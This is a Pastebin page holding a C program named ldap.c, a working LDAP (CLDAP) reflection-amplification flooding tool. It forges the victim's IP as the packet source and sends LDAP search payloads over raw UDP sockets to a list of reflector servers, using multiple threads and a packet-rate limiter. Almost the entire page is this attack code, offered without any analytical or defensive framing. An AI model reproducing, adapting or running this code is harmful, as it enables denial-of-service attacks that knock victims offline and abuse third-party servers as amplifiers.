Advertisement
TNFModding

ldap.c

Aug 6th, 2022 (edited)
23
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.85 KB | None | 0 0
  1. #include <arpa/inet.h>
  2. #include <netinet/ip.h>
  3. #include <netinet/udp.h>
  4. #include <pthread.h>
  5. #include <stdio.h>
  6. #include <stdlib.h>
  7. #include <string.h>
  8. #include <sys/socket.h>
  9. #include <time.h>
  10. #include <unistd.h>
  11.  
  12. static unsigned int DPORT = 389;
  13. static const char PAYLOAD[] =
  14. "\x30\x25\x02\x01\x01\x63\x20\x04\x00\x0a\x01\x00\x0a\x01\x00\x02\x01\x00"
  15. "\x02\x01\x00\x01\x01\x00\x87\x0b\x6f\x62\x6a\x65\x63\x74\x63\x6c\x61\x73"
  16. "\x73\x30\x00";
  17.  
  18. // Phenomite template begin
  19. #define MAX_PACKET_SIZE 4096
  20. #define PHI 0xaaf219b9
  21. static uint32_t Q[4096], c = 362436;
  22. static unsigned int PAYLOADSIZE = sizeof(PAYLOAD);
  23.  
  24. struct list {
  25. struct sockaddr_in data;
  26. struct list *next;
  27. struct list *prev;
  28. };
  29. struct list *head;
  30. volatile int tehport;
  31. volatile int limiter;
  32. volatile unsigned int pps;
  33. volatile unsigned int sleeptime = 100;
  34. struct thread_data {
  35. int thread_id;
  36. struct list *list_node;
  37. struct sockaddr_in sin;
  38. };
  39.  
  40. void init_rand(uint32_t x) {
  41. int i;
  42. Q[0] = x;
  43. Q[1] = x + PHI;
  44. Q[2] = x + PHI + PHI;
  45. for (i = 3; i < 4096; i++) {
  46. Q[i] = Q[i] ^ Q[i] ^ PHI ^ i;
  47. }
  48. }
  49.  
  50. uint32_t rand_cmwc(void) {
  51. uint64_t t, a = 18782LL;
  52. static uint32_t i = 4095;
  53. uint32_t x, r = 0xfffffffe;
  54. i = (i + 1) & 4095;
  55. t = a * Q[i] + c;
  56. c = (t >> 32);
  57. x = t + c;
  58. if (x < c) {
  59. x++;
  60. c++;
  61. }
  62. return (Q[i] = r - x);
  63. }
  64.  
  65. /* function for header checksums */
  66. unsigned short csum(unsigned short *buf, int nwords) {
  67. unsigned long sum;
  68. for (sum = 0; nwords > 0; nwords--)
  69. sum += *buf++;
  70. sum = (sum >> 16) + (sum & 0xffff);
  71. sum += (sum >> 16);
  72. return (unsigned short)(~sum);
  73. }
  74.  
  75. void setup_ip_header(struct iphdr *iph) {
  76. iph->ihl = 5;
  77. iph->version = 4;
  78. iph->tos = 0;
  79. iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + PAYLOADSIZE;
  80. iph->id = htonl(61337);
  81. iph->frag_off = 0;
  82. iph->ttl = MAXTTL;
  83. iph->protocol = IPPROTO_UDP;
  84. iph->check = 0;
  85. iph->saddr = inet_addr("127.0.0.1");
  86. }
  87. void setup_udp_header(struct udphdr *udph) {
  88. udph->source = htons(61337);
  89. udph->dest = htons(DPORT);
  90. udph->check = 0;
  91. memcpy((void *)udph + sizeof(struct udphdr), PAYLOAD, PAYLOADSIZE);
  92. udph->len = htons(sizeof(struct udphdr) + PAYLOADSIZE);
  93. }
  94. void *flood(void *par1) {
  95. struct thread_data *td = (struct thread_data *)par1;
  96. char datagram[MAX_PACKET_SIZE];
  97. struct iphdr *iph = (struct iphdr *)datagram;
  98. struct udphdr *udph = (/*u_int8_t*/ void *)iph + sizeof(struct iphdr);
  99. struct sockaddr_in sin = td->sin;
  100. struct list *list_node = td->list_node;
  101. int s = socket(PF_INET, SOCK_RAW, IPPROTO_RAW);
  102. if (s < 0) {
  103. fprintf(stderr, "Could not open raw socket.\n");
  104. exit(-1);
  105. }
  106. init_rand(time(NULL));
  107. memset(datagram, 0, MAX_PACKET_SIZE);
  108. setup_ip_header(iph);
  109. setup_udp_header(udph);
  110. udph->source = htons(tehport);
  111. iph->saddr = sin.sin_addr.s_addr;
  112. iph->daddr = list_node->data.sin_addr.s_addr;
  113. iph->check = csum((unsigned short *)datagram, iph->tot_len >> 1);
  114. int tmp = 1;
  115. const int *val = &tmp;
  116. if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof(tmp)) < 0) {
  117. fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
  118. exit(-1);
  119. }
  120. init_rand(time(NULL));
  121. register unsigned int i;
  122. i = 0;
  123. while (1) {
  124. list_node = list_node->next;
  125. iph->daddr = list_node->data.sin_addr.s_addr;
  126. iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
  127. iph->check = csum((unsigned short *)datagram, iph->tot_len >> 1);
  128. sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *)&list_node->data,
  129. sizeof(list_node->data));
  130. pps++;
  131. if (i >= limiter) {
  132. i = 0;
  133. usleep(sleeptime);
  134. }
  135. i++;
  136. }
  137. }
  138. int main(int argc, char *argv[]) {
  139. if (argc < 6) {
  140. fprintf(stdout, "%s host port listfile threads limit[-1 for none] time\n",
  141. argv[0]);
  142. exit(-1);
  143. }
  144. srand(time(NULL));
  145. int i = 0;
  146. head = NULL;
  147. fprintf(stdout, "Loading list to buffer\n");
  148. int max_len = 512;
  149. char *buffer = (char *)malloc(max_len);
  150. buffer = memset(buffer, 0x00, max_len);
  151. tehport = atoi(argv[2]);
  152. int num_threads = atoi(argv[4]);
  153. int maxpps = atoi(argv[5]);
  154. limiter = 0;
  155. pps = 0;
  156. int multiplier = 100;
  157. FILE *list_fd = fopen(argv[3], "r");
  158. while (fgets(buffer, max_len, list_fd) != NULL) {
  159. if ((buffer[strlen(buffer) - 1] == '\n') ||
  160. (buffer[strlen(buffer) - 1] == '\r')) {
  161. buffer[strlen(buffer) - 1] = 0x00;
  162. if (head == NULL) {
  163. head = (struct list *)malloc(sizeof(struct list));
  164. bzero(&head->data, sizeof(head->data));
  165. head->data.sin_addr.s_addr = inet_addr(buffer);
  166. head->next = head;
  167. head->prev = head;
  168. } else {
  169. struct list *new_node = (struct list *)malloc(sizeof(struct list));
  170. memset(new_node, 0x00, sizeof(struct list));
  171. new_node->data.sin_addr.s_addr = inet_addr(buffer);
  172. new_node->prev = head;
  173. new_node->next = head->next;
  174. head->next = new_node;
  175. }
  176. i++;
  177. } else {
  178. continue;
  179. }
  180. }
  181. struct list *current = head->next;
  182. pthread_t thread[num_threads];
  183. struct sockaddr_in sin;
  184. sin.sin_family = AF_INET;
  185. sin.sin_addr.s_addr = inet_addr(argv[1]);
  186. struct thread_data td[num_threads];
  187. for (i = 0; i < num_threads; i++) {
  188. td[i].thread_id = i;
  189. td[i].sin = sin;
  190. td[i].list_node = current;
  191. pthread_create(&thread[i], NULL, &flood, (void *)&td[i]);
  192. }
  193. fprintf(stdout, "Yeeting\n");
  194. for (i = 0; i < (atoi(argv[6]) * multiplier); i++) {
  195. usleep((1000 / multiplier) * 1000);
  196. if ((pps * multiplier) > maxpps) {
  197. if (1 > limiter) {
  198. sleeptime += 100;
  199. } else {
  200. limiter--;
  201. }
  202. } else {
  203. limiter++;
  204. if (sleeptime > 25) {
  205. sleeptime -= 25;
  206. } else {
  207. sleeptime = 0;
  208. }
  209. }
  210. pps = 0;
  211. }
  212. return 0;
  213. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement